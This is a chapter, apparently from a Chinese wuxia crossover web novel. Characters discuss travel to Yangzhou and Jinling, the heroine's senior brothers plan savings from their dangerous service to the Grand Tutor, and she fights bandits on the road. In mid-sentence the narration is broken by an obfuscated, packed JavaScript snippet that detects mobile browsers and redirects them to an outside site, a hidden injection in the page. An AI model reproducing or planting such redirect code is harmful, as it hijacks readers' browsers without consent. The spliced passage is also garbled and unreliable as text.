等笑得缓过劲来了,孙三四才道:“你出去玩也好,别看京城不过一亩三分地,庙里个个都供着大佛,咱们谁也惹不起,还不如出去来得松快,天高海阔,你手里的刀又好,遇见谁也不用怕。” “不过出去玩也得有个大概的地方,跟你孙姐姐说说,你最近想去哪里玩?” “扬州或者金陵吧,我想看看西湖。” “都是风景不错的好地方,说到扬州,那边也没什么需要特别注意的,唯一的大户人家也就丁家庄一个,他们家挺注重名声,家风严谨,丁老庄主丁乘风一辈子都老持稳重,对家人也还行,妹妹白云仙子当年是有名的美人,到现在也没出嫁,一直在家里当她的大姑娘,丁老庄主也纵着。丁大少爷修道,二少爷应酬,唯一风流的三少爷也已经跟门当户对的南宫家定了亲,虽是年少轻狂了点,但倒也不是什么顽劣不堪的东西。估计要真有事的话丁老庄主怕是会第一个清理门户。” “至于金陵嘛,金陵的地头蛇是路家,他们家的大少爷你也见过,他们家就他一个儿子,还有一个姐姐嫁给了藏经万卷庄的铁手君子易大经。那人一向与人为善,情报灵通,据说跟六分半堂的狄飞惊狄大堂主关系不错。虽然不少世家弟子都觉得路家的少爷是自甘堕落,好好的大少爷不当,去当什么收钱买命的快剑杀手,但你觉得他人还行,那估计就还不错。” 即使远隔千里,孙三四对扬州和金陵的事情也能如数家珍,她将她知道的一一告诉了寒轻白,语气柔和,像一个对即将出远门的妹妹殷切叮嘱的姐姐。 29.离京上扬州 温火滚一向与拖沓无缘,他是个急性子,准备东西速度也快,那头寒轻白跟孙三四道别完,再给薛冰寄封信,跟其他认识的人路上顺带一说,晚上回家后一看,温火滚早就给她收拾完了。寒轻白再点一点行李,觉得没什么要加要减的了,第二天天不亮就离京往扬州出发了。 她这一走,温火滚喊人来家里喝酒也没什么顾忌。买点小酒,炒几个菜,他们兄弟几个喝个通宵,嘴里不把门胡扯点别的也没什么事。 梁伤心那手厨艺自不必提,跟寒轻白一样烂,但何难过炒菜还是有一手的,色香味俱全,除了这小子好似跟卖盐的有三生三世难舍难解的缘分,放起盐来眼睛眨也不眨,手一抖,谁知道他放了多少盐,咸得要命,不过菜味道重一些配酒吃倒还算有滋有味。 “算一算时间也差不多,小寒本来就是来京华玩的,不打算在太师府谋个什么事情做,京城就这么大点地方,她能去的估计基本上也都转过了。” 温火滚接过话,继续道:“不能去的地方她也不怎么感兴趣。罗老幺那宅子够可以了,转过一圈后也没见她有什么特别喜欢的,就除了有个黑白毛的食铁兽,她说跟食铁兽玩了一下午。本来我估计也差不多了,这不,见了宅子里的景观,忽得想去江南一道转一转。” “确实时间长了,我本来以为她早就该在京城待不住,没道理等到罗老幺的宅子都建好才走。”何难过也点头。 他们几人喝了好一阵酒,聊聊从前,聊聊现在,骂骂罗老幺和孙忆旧等人,梁伤心骂得最凶,孙余吴三人跟他们口服心不服,老爱跟他们作对。梁伤心也不乐意办差事的时候还得跟旁边人斗气,何况他也就是因为时间耗到读书上剑法不精,比孙忆旧差了点,但余厌倦和吴奋斗他还是比得过的。 再加上最近孙忆旧和余厌倦给他找不痛快,他边骂边喝,又快又急,很快就醉倒过去了。 何难过慢吞吞地喝着,一壶见底,他给自己又倒了壶酒。 “你有心事?”温火滚见他还打算继续喝,没有停的意思,便问道。 “我琢磨了好一阵,老温,你给句实话,小寒这段时间是不是见过苏梦枕出刀。她在应对罗老幺的剑的时候,有一刀真有几分红袖刀的凄艳。” 温火滚先是看了一眼梁伤心,见他仍醉个半死,呼吸半点也没变,才没好气地压低声音说:“专门挑小梁醉过去才说,小何你也真能等的,对,没错,就是这样,你都看出来了,还问我作甚?” 何难过不急,他继续慢吞吞地问:“金风细雨楼那边都知道?咱们这边还有谁知道?” “风雨楼那边反正白愁飞倒之前应该不知道,不然没道理还乐意用咱,肯定早早跟太师告一状。至于我们这边,如果除了你之外没人看出来,那就我们俩,小余那边我没说,我也让小寒瞒着了。” “罗老幺也不知道?” “他知道个鬼。” 何难过听罢,一点一点转着杯子,也不喝酒,道:“那就行,那也好。就我们俩知道,也不再跟别人讲,反正小寒也离开京城了,再怎么样都波及不到她。” “皇帝打算再度重用太师,咱们估计要忙起来了。太师想把自己的人手推上位置,那就要清除异己,把不顺眼的都摁下去,后台硬的动不得,不知天高地厚就想告太师一状的总得杀鸡儆猴给其他人看看效果。” “早年长空帮是太师的眼中钉,后面叫灭了,现在若有几个效仿长空帮来碍太师眼的,没道理不挨个清除,实力弱的不够当咱们的功劳,有几个硬骨头该啃还是要啃,不然太师哪里舍得给我们高官厚禄。” 何难过说话速度不快,语气温和,一听便是他想了又想才说出口的。 “咱们拜别师父来京华立功立业,太师对咱们恩重如山,功名富贵都给了,比山上日子好过多了,现在要什么有什么,你也好,阿梁也好,也不用天天吃你们自己做的那破饭。所以他要咱们做什么,咱们都没二话。咱们就是干这个的,日后叫别人抹了脖子也是应该的。” “只是小寒要是不想往这上面花心思,你也不想小寒接触这些,那咱们也得给她留退路,起码攒点积蓄,别想买什么的时候拿不出钱来。” 温火滚沉吟不语。 哪怕之前已经喝多了,在听过何难过这些话之后,他的酒也醒得差不多了。就如何难过所言,他们赚的都是卖命钱,说不准哪天就没了,所以大家基本上也都过的是得一天是一天的日子。 像他们这样的人也不忌讳说什么死不死的,他曾跟何难过和梁伤心说,他死的时候也要死的红红火火,死在烈火当中,哪怕最后一刻也在焚烧。 不过他说的潇洒,实际上他跟火的缘分其实没有那么的美好。 温火滚在还是婴儿的时候就不小心被火灼伤过,少年时玩火烧掉了房子,变成了孤儿,所以才会让温辣霞看中,收他为徒,迫他在山上修炼,授他火的剑法。 他常自喻为一根两头燃烧的蜡烛,实则如一条两面受力的火中竹,他一面自焚,一面炸出星火,一面自这火光焰花中灰飞烟灭。 温火滚没有很直白地说过,但是他其实打心底里羡慕过寒轻白,那么自由,那么轻松,谁也没拘过她,像自由的火,去哪里都可以肆意地燃烧。所以有能力的前提下替她准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15174132|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备点柴火,也是他这个师兄该做的。 “也行,你这么说也有道理。京城我们也没什么熟人,你要是有东西想留给小寒,就寄到薛家的成衣铺子去吧,咱们这都是租的宅子,以后谁也说不准,那里的掌柜的跟小寒熟,她们家大小姐上回来京城还特意找小寒玩。不过这事就没必要瞒着小梁了。” “那肯定,多一份钱更好。” 这边酒后何难过和温火滚计划存点钱放着,毕竟都是卖命钱,回头人没了也能留点东西,那边寒轻白轻装简行,想走路就自己走,不想走了就花点钱跟趟镖搭个便车。 反正路上不会遇到什么大事,路途颠簸劳顿都只是一行字的事情,简单就能跳过,除非遇到什么想跟她打架的抢匪才要过战斗。 【修路是一件迈向现代化生活所必要的工程,你确定无疑。 从开封到扬州坐高铁无论是换乘还是直达最多都只需要十二个小时,现在你在路上耗费的时间可不止一两个十二小时,而且还不比在高铁上可以睡觉打牌。 越接近扬州,越是湿润,空气中的水汽比开封的要浓重得多。潮的时候似乎空气中都黏连着水雾,一下雨就连下好几天。 好不容易遇上一个有太阳的晴天,你还在路上叫见你是孤身一人行走的江湖人士拦了路,几个大汉提刀带剑,准备以多欺少,这叫你不禁萌生一点疑惑,难道是你能在路上捡到一百块的幸运失效了吗。 不过这也没关系,就算路上捡不到一百块,你可能是一拳超人的力量也不是虚的。再加上你在苏梦枕苏公子那里学了刀升了级,跟天下第七和小师兄打架攒了经验,你基本上不怎么担心自己的斗殴打不过路遇NPC。 路遇NPC唯一的优点就是人多,所以有一刀砍来时你没闪避,因为这个时候出刀可以干掉三个人,一血换三人,说出去还是你赚了。不过有一个什么硬壳飞来挡了一下刀,叫你有了更多的反应时间,这下是无伤换三人,Triple Kill,完美。 杀完了人,你低头一看,那硬壳原来是一块花生壳。】 “你怎么在这,好心人?” 寒轻白一眼就认出来了,这是黄河边上捐银子的好心人。 他有一双死灰色的眼睛,笑的时候,眼睛也是冷冰冰的,不带剑鞘的薄剑在阳光下闪闪发光。 “是路小佳。”好心人纠正了一句。 “这条路一般很少有人走,因为有不少趁火打劫的。” “你不是也在走这条路吗?” 路小佳嗤笑一声,“这地方我都来过多少回了,闭着眼睛都能走。他们不敢来抢我的东西。”